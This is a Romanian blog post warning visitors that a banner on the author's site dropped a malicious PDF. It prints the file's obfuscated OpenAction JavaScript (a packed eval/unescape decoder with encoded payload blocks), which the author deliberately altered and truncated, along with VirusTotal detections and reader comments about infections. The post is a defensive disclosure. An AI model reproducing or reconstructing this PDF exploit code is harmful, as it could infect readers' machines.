Avertisment informatic

Am stat mai bine de o oră să mă gândesc dacă să fac acest avertisment sau nu. Am decis să o fac, cu inima grea. În data de 6 iulie 2009 pe la ora 3 dimineaţa am intrat la mine pe site. Se pare că de acolo am luat ceva. Sunt 12% şanse ca acel ceva să fie naşpa.

Într-un folder localizat în:

c:\documents and settings\[utilizatorul meu]\local settings\temp\[plugin-176]

am găsit un fişier cu denumirea plugin-readme.pdf. Acest plugin a fost copiat automat de fişierul flash ce conţine bannerul campaniei Inima Copiilor. Ştiu, e grav ce spun şi nu sunt chiar nebun. BitDefender mi-a spus că este ceva în neregulă cu el. L-am deschis cu Notepad++ (codul sursă este modficat şi incomplet să nu le vină unora ceva idei creţe):

%PDF-1.3
3 0 obj
<</Type /Page
/Parent 1 0 R
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 481>>
stream

[Aici este conţinutul efectiv al fişierului, ceea ce se vede când îl deschizi. Până aici este OK.]

endstream
end0bj
1 0 0bj
<</Type /Pages
/Kids [3 0 R ]
/C0unt 1
/MediaB0x [0 0 595.28 841.89]
>>
end0bj
5 0 0bj

[De aici începe să devină al naibii de suspect.]

[Aici porcii naşparlii declară că se foloseşte un font de text de un anumit tip. Cred că execuţia este chemată prin apelearea fontului.]

<</Type /F0nt
/BaseF0nt /Times-R0man
/Subtype /Type1
/Enc0ding /WinAnsiEnc0ding

[Corect ar fi fost:

<</Type /Font

/BaseFont /Times-Roman
/Subtype /Type1
/Encoding /WinAnsiEncoding

Pentru că la un computer este o diferenţă între BaseFOnt şi BaseFont. O nu este egal cu o. Mai departe.]
>>
end0bj
2 0 0bj
<<
/Pr0cSet [/PDF /Text /ImageB /ImageC /ImageI]

{Parantezele drepte de deasupra nu-mi aparţin. Corect ar fi fost: ProcSet nu PrOcSet. Urmează aplearea fontului, care duce la execuţia funcţiei periculoase.}

/F0nt <<
/F1 5 0 R
>>
/X0bject <<
>>
>>
end0bj
6 0 0bj
<<
/Names [(HUYAKJS) 7 0 R ]
>>
end0bj
7 0 0bj
<<

[Ce se întâmplă aici este suspect rău. Deci îi spunem programului de afişare că avem un cod de program executabil de tip JavaScript. Acesta conţine o funcţie care face ceva. ]

/S /JavaScript
/JS (
functi0n Lhjk1i\(Jg071mv\){
/* 473 * 12 // 9203 */
 eval\( Jg071mv \);
}
eval\(functi0n\(
p
,a
,c
,k
,e
,d
\)
{e=functi0n\(c\)

{return\(c<a?”:e\(parseInt\(c/a\)\)\)+\
(\(c=c%a\)>35?String.fr0mCharC0de\(c+29\):c.t0String\(36\)\)};

if\(!”.replace\(/^/,String\)\)
{
while\(c–\){d[e\(c\)]=k[c]||e\(c\)
}
k=[functi0n\(e\)
{return d[e]}];e=functi0n\(\){return’\\\\w+’};c=1};

[Cred că acesta este blocul de decriptare a funcţiei. Foloseşte blocurile de date pe care le converteşte, folosind codul complex de mai sus, în ceva lizibil. Ingineria inversată, ca să vedem ce retrunează, o poate face cineva care ştie JavaScript bine de tot. Eu nu.]

while\(c–\){

if\(k[c]\){p=p.replace\(new RegExp\(‘\\\\b’+e\(c\)+’\\\\b’,'g’\),k[c]\)}

}
return p}

\(’1c 2w\(10\){U V=0;U Y="";2y\(V=0;V<10.2x;V++\)
{Y=Y+3p.3r\(10.3m\(V\)^1\)}1u Y}1c 1D\(1F\){1u 2J\(1F\)}U 16=00.2D.20\(\);
16=16.1y\(/\\\\D/g,""\);

[Aici se termină funcţia care face ceva necunoscut. Nicio firmă, companie, etc care se respectă nu foloseşte cod de genul acesta. În continuare avem blocurile de date necesare pentru execuţia funcţiei. Se observă că fiecare blo are datele codificate într-un alt fel faţă de restul.]

U2Y="$2R$2S$1G$3h$2T$h$2P$2r$t"+"2U$2V$2y$2X$2W$2N$1y$t`2F$2E"+
"2C$2G$2H$2M$2L$2K$2I$1G$3e"+"$J$3f$3x$3w$h$3v$3t$J$t"+
"3u$3y$M`$y$J$N$1j$h$3y"+"11$1r$J$r$M`$y$J$13$10"+
[...]
"34$4T$4V$4P$4I$4u$3T$3S$3R"+"$1f$3U$3V$3Y$3X$3W$3r$3P$t"+
"3J$3I$3H$3G$3K$3L$30$3N$3M"+"H$3y$40`$40$4n$4m$4p`l$19$19"+
"$4r$4v$4s$4r$4l$4k$4c$4b$t"+"4a$42$4f$4g$4j"+"";

UW="@k@B@28@47@B@37@p@0@u@n@i@2e@u@i@8@a@41@n@28
@30@29@20@2f@2f@20@22@38@22@20@26@26@20@47@B@37@
p@0@u@n@i@2"+
"e@u@i@8@a@41@n@28@31@29@20@3c@2f@20@22@31@22@20
@26@26@20@47@B@37@p@0@u@n@i@2e@u@i@8@a@41@n@28@32
@29@20@3c@"+
"2f@20@22@32@22@29@L@j@m@54@C@31@8@0@f@w@9@w@20@
2f@20@51@9@32@y@x@i@v@47@y@28@46@37@k@9@E@B@f@8@
28@4e"+
"@y@v@i@r@36@37@C@29@29@3b@j@m@0@8@a@20@34@31@k
@l@H@u@8@20@2f@20@51@9@32@y@x@i@v@47@y@28@22@25
@r@30@6"+
[...]
"w@i@k@f@l@28@52@9@35@38@30@s@x@2e@f@l@9@A@n@i@20
@3c@20@34@34@39@35@32@29@20@52@9@35@38@30@s@x@20
@00@2f@20"+
"@52@9@35@38@30@s@x@3b@j@m@n@i@k@p@2e@u@s@f@f@8@x
@53@n@s@a@l@20@2f@20@34@s@f@f@8@x@2e@u@s@f@f@6"+
"5@u@n@45@G@8@k@f@49@9@B@s@28@L@p@r@x@v@3a@20@22
@22@2c@G@p@A@3a@20@52@9@35@38@30@s@x@I@29@3b@j@I"+
"";
W=W.1y\(/@/g,"%4i"\);
4h\(1D\(W\)\);

‘,62,327,’||||||||61|6e|72|||||6c||t1111|68|
0a|69|65|09|74|76|73|75|7a|6f||63|6a|77|62|6b|
70|67|66|71||78|64|6d|79|7d|t1110|t1113|7b|t90d|
t3411|98|tb390|t9811|t130c|td|t117|var|
Dmyahf1rd|Ecav6vb|t104d|Kgjh5u7b|t4db3|Ty8if0e1r|
||t2011|t0c94|t84gg|Gf7svcth|t9412|t4|
t2129|t54b3|t2315|functi0n|tb7dd|t1034|t707g|t4134|
t1341|t7456|t9179|t9|b3|t248b|tgc91|
length|f0r|t7063|t9834|app|c9|viewerVersi0n|t51|e0b|
tdc19|t9c18|t0051|unescape|t9c6b|t519e|
t10g7|t12|t5d84|t230b|t9917|t1047|return|t147|e77|
t11|replace|t619c|84|tgg34|te1gg|
rn2kbhj3p|t6511|Y940s9|t4647|t13|tc412|t7e74|57b5|
t5b11|tb2|t4565|t7378|t5079|t6570|t4161
|t4165|t38ge|t98g6|t64|tb121|tg398|tg698|t20g8||
tcdb1||t130g|c11|||tce9e|||||||||t0bb7|1100|
t9269|tcc11|t7274|t50|t7575|t7g63|t4c48|t6863|t1150|
t7463|t6262|t7d78|t6954|t4611|F7inxfla|
t10g7|t12|t5d84|t230b|t9917|t1047|return|t147|e77|t11
|replace|t619c|84|tgg34|te1gg|
t2551|t1b51|t0String|t4e11|tde92|t4241|t3440|t11d9|
e201|t75b1|t9c1b|t6921|Nkjhu67r|t5112|||
||||||||||||t4dcd|t1011|tdc57|t8b44|9811|4111|tgg11|
3b7|charC0deAt|t8e11|1111|String|
fr0mCharC0de|t69b3|9834|te7d9|4g11|tdg10|t105d|tcgdd|
t984d|tgg|gg|t84|dc57|t1372|t4g4e|td1b0
|t6372|t1174|t6974|2f75|t6270|t2f79|t65|t1161|t7961|
t6164|t7775|t7b7d|t667g|t555b|t4575|t577g
|t1365|t5b|t5g5e|t1101|t2f5d|tec20|tcc2d|tdedc|gggg|
tgg49|||||td946|||||t4711||t91bd||t4d4g|
|t6111|t5074|t7b78|t6165|t3g2||t7479||||||||4273|
t2e75|t782g|||t7b7b|t257g|Lhjk1i|u00|t8111|
t6179|t612f|t702f|t7b24|t703g|t2|t663g|t747e|t7g72|
t4d|t3444|t7b74|t3694|t12d1|te082|t87g7|
t1213|0c|eb7|t0g94|t4dd8|tdc52|tb798|t94|t115b|te698|
tgb40|t4d15|t6548|tdcb2|7g2|t5b55|t44b2
t1213|0c|eb7|t0g94|t4dd8|tdc52|tb798|t94||||||||te698|
tgb40|t4d15|t6548|tdcb2|7g2|t5b55|t44b2
t47|t10′.split\(‘|’\),0,{}\)\)

[Aici se termină blocurile de date şi funcţia. Acum totul este la locul lui. După decriptare funcţia se poate executa.]

)
>>
end0bj
8 0 0bj
<<
/Pr0ducer (wurIkHTLEWrGrgHVE0)
/Title (rBtgvlreDgIcIFrI)
/Subject (WyUYyLEnkDr0wbyvEm)
/Auth0r (aeuCiCUaPvhspSg)
/Keyw0rds (tBywmrgudBflvJuPltpsN)
/Creat0r (VFIctKMYrsavdYCuum)
/Creati0nDate (D:20090702030347)
>>
end0bj
9 0 0bj
<<
/Type /Catal0g
/Pages 1 0 R
/0penActi0n [3 0 R /FitH null]
/PageLay0ut /0neC0lumn
/Names <</JavaScript 6 0 R>>
>>
end0bj
xref
0 10
0000000000 65535 f
0000000638 00000 n
0000000823 00000 n
0000000009 00000 n
0000000087 00000 n
0000000725 00000 n
0000000927 00000 n
0000000974 00000 n
0000008479 00000 n
0000008570 00000 n
trailer
<<
/Siye 10
/R00t 9 0 R
/Inf0 8 0 R

>>
startxref
8702
%%E0F

După părerea mea (pe cei care şriu mai multă Java ca mine îi rog să mă completeze) aşa hal de cod sursă la un fişier PDF nu are de ce să existe. Nimeni nu scrie, cu intenţii juste, aşa ceva. Mai mult, dacă este cod JavaScript valid nu are de ce să fie criptat. Deci nu, nu cred că este un cod care nu face nimic.

Desigur, am scanat acest fişier care are dimensiunea de 9KB cu Virustotal. Iată rezultatele:

File de_rahat-_virus.pdf received on 2009.07.06 21:58:55 (UTC)
Antivirus Version Last Update Result
a-squared 4.5.0.18 2009.07.06 -
AhnLab-V3 5.0.0.2 2009.07.06 -
AntiVir 7.9.0.204 2009.07.06 -
Antiy-AVL 2.0.3.1 2009.07.06 -
Authentium 5.1.2.4 2009.07.06 PDF/Obfusc.A!Camelot
Avast 4.8.1335.0 2009.07.06 -
AVG 8.5.0.386 2009.07.06 -
BitDefender 7.2 2009.07.06 -
CAT-QuickHeal 10.00 2009.07.06 -
ClamAV 0.94.1 2009.07.06 -
Comodo 1538 2009.07.02 -
DrWeb 5.0.0.12182 2009.07.06 -
eSafe 7.0.17.0 2009.07.06 PDF.Exploit.1
eTrust-Vet 31.6.6598 2009.07.06 -
F-Prot 4.4.4.56 2009.07.06 -
F-Secure 8.0.14470.0 2009.07.06 -
Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.06 -
Ikarus T3.1.1.64.0 2009.07.06 -
Jiangmin 11.0.706 2009.07.06 -
K7AntiVirus 7.10.785 2009.07.06 -
Kaspersky 7.0.0.125 2009.07.06 -
McAfee 5668 2009.07.06 Exploit-PDF.q.gen
McAfee+Artemis 5668 2009.07.06 Exploit-PDF.q.gen
McAfee-GW-Edition 6.8.5 2009.07.06 -
Microsoft 1.4803 2009.07.06 -
NOD32 4221 2009.07.06 -
Norman 6.01.09 2009.07.06 -
nProtect 2009.1.8.0 2009.07.06 -
Panda 10.0.0.14 2009.07.06 -
PCTools 4.4.2.0 2009.07.06 -
Prevx 3.0 2009.07.06 -
Rising 21.37.04.00 2009.07.06 -
Sophos 4.43.0 2009.07.06 -
Sunbelt 3.2.1858.2 2009.07.05 Exploit.PDF-JS.Gen (v)
Symantec 1.4.4.12 2009.07.06 -
TheHacker 6.3.4.3.364 2009.07.06 -
TrendMicro 8.950.0.1094 2009.07.06 -
VBA32 3.12.10.7 2009.07.06 -
ViRobot 2009.7.6.1820 2009.07.06 -
VirusBuster 4.6.5.0 2009.07.06 -
 
Additional information
File size: 9068 bytes
MD5   : 8643a5302dd05097835625defe39859b
SHA1  : b8946ba897524fbe32695e5b7f919afaa23ad831

SHA256: 62f187b4aed952e1f11ec10fff8ad012c74765b73

a8e1aa9d1d12ad5d81328e5

TrID  : File type identification
Adobe Portable Document Format (50.0%)
MATLAB program (50.0%)

ssdeep: 192:6WYQBkj34GqUSDoSIxTWks8RxaGm0GhtGgSE/rfmk3

:6WYQ44GEcS09ghwgS4V

PEiD  : -
PDFiD : PDF Header: %PDF-1.3*
obj 9*
endobj 9*
stream 1*
endstream 1*
xref 1*
trailer 1*
startxref 1*
/Page 1*
/Encrypt 0*
/ObjStm 0*
/JS 1*
/JavaScript 2*
/AA 0*
/OpenAction 1*
/JBIG2Decode 0*
RDS   : NSRL Reference Data Set
-

BitDefender, versiunea 10 (nu 7.2 ca deasupra) spune aşa:

C:\Documents and Settings\ Me \Local Settings\ Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT)    Infected: Exploit.PDF-JS.Gen
C:\Documents and Settings\ Me \Local Settings\ Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT)    Disinfection failed
C:\Documents and Settings\ Me \Local Settings \Temp \plugtmp-176 \plugin-readme.pdf =>(JAVASCRIPT)    Move failed

Sfatul meu: folosiţi programul Empty Temp Folders ca să fiţi siguri că aţi scăpat de orice ar fi acolo. Nu este un antivirus, dar vă şterge fişierele temporare pe care, altfel, at trebui să le ştergeţi manual. Este simplu de folosit. Dacă nu, nu ezitaţi să lăsaţi un comentariu mai jos.

Rezultatul vizibil al execuţiei fişierului PDF este următorul:

După execuţie s-a creat un fişier cu denumirea de install.dll sau ceva de genul (n-am reţinut, că l-am şters pe loc fiindcă nu apucase să se execute) aflat în:

C:\Documents and Settings\ Me \Local Settings \Temp \

Acum stau şi mă întreb, la ora 3,05 dimineaţa: cât de hain şi de fără inimă să fii să ataci un site al unei campanii umanitare şi al celor care o susţin? Ruşine mă jegoşilor. Ruşine. Sper să muriţi de inimă. Oricum, o aveţi mică mică. Infim de mică.

Oricum, îmi pare rău pentru eventualele neplăceri cauzate.

L.E. Infecţia nu mai are loc dacă vizitaţi această pagină. Fişierul nu se mai copiază. Este bine, totuşi, să verificaţi ca acesta să nu existe, luat de altundeva.

Dacă ți-a plăcut acest articol, recomandă-l și altora folosind butoanele pentru Twitter, Facebook și Google +1.
Acest articol a fost publicat în Tech. Salvează legătura permanentă. .

10 răspunsuri la Avertisment informatic

  1. Adrian spune:

    Uneori chiar ma bucur ca am Linux… :evil:

    Am cautat si eu fisierul ala prin folderul meu home… nu l-am gasit… I\’m a happy guy.

    Mi se pare tare ciudat ca mai toate literele \”o\” sunt inlocuite cu \”0\” (zero)… E posibil sa existe o functie care sa le schimbe la loc in \”o\”? Zic si eu. (nu am prea mari cunostinte de js)

  2. Robin Molnar îi spune lui Adrian:

    :lol: Cred că Linux-ul este imun la anumite chestii din PDF-uri. :lol: În principiu cred că funcţia aia înlocuieşte nişte şiruri de caractere cu altceva, după nişte algoritmi nu chiar simpli (are trei blocuri de date destul de mari). Nu m-aş mira să înlocuiască O cu o şi alte cele. ;)

  3. Mihai Todor spune:

    Eh, nu e mare chestie… Funcţia e plină de RegExp-uri care transformă codul până se obţine ceva rău. Să îi ia naiba de nenorociţi. Am pus mâna pe două cărţi serioase de JavaScript. Când le-oi termina probabil voi putea da mai multe detalii :P

    Note to @Robin: Bă JavaScript != Java!!! De fapt JavaScript se mai numeşte ECMAScript, dar, nu seamănă de nici o culoare cu Java. JavaScript se interpretează, Java se compilează. JavaScript e loosely typed, Java e strong typed etc.

  4. Robin Molnar îi spune lui Mihai Todor:

    :D Aşa Mihai, bagă câteva chestii, că ştii mai bine ca mine. Io acum aflai că JS!=J (adică că JavaScript diferă de Java, că aşa scriu informaticienii). ;) Oricum, mersi fain de intervenţie. ;)

  5. TNH spune:

    La mine, BitDefender a găsit un fişier infectat, pe care l-a şters. C:\\Documents and Settings\\Alice\\Application Data\\Microsoft\\winlog.exe, infectat cu Backdoor.Dewnad.C (pe care nu l-am găsit în Virus Encyclopedia de la bitdefender).
    Era grav?

  6. Robin Molnar îi spune lui TNH:

    :s Cam foarte spre extrem de grav, din păcate! Uite [url=http://sunbeltsecurity.com/threatdisplay.aspx?name=Backdoor.Dewnad.C&tid=4171204&cs=B6C6D1357EB0B4338DFCDC0F6142C897]aici[/url]. :s

  7. TNH îi spune lui Robin Molnar:

    Şi acum mai trebuie să fac ceva?

  8. Robin Molnar îi spune lui TNH:

    După ce ai scanat nu poţi să mai faci mare lucru decât să aştepţi. Eventual poţi să-ţi schimbi parolele. ;)

  9. Pingback: Cel mai bun antivirus | Reclame | Robintel

  10. Pingback: Spam: O ocazie cum primești o singură dată în viață - virus | Tech | Robintel

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile necesare sunt marcate *

*

Poți folosi aceste etichete HTML și atribute: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Vreau să fiu părtaș la faptă. Poți, de asemenea, să fii părtaș și fără martori.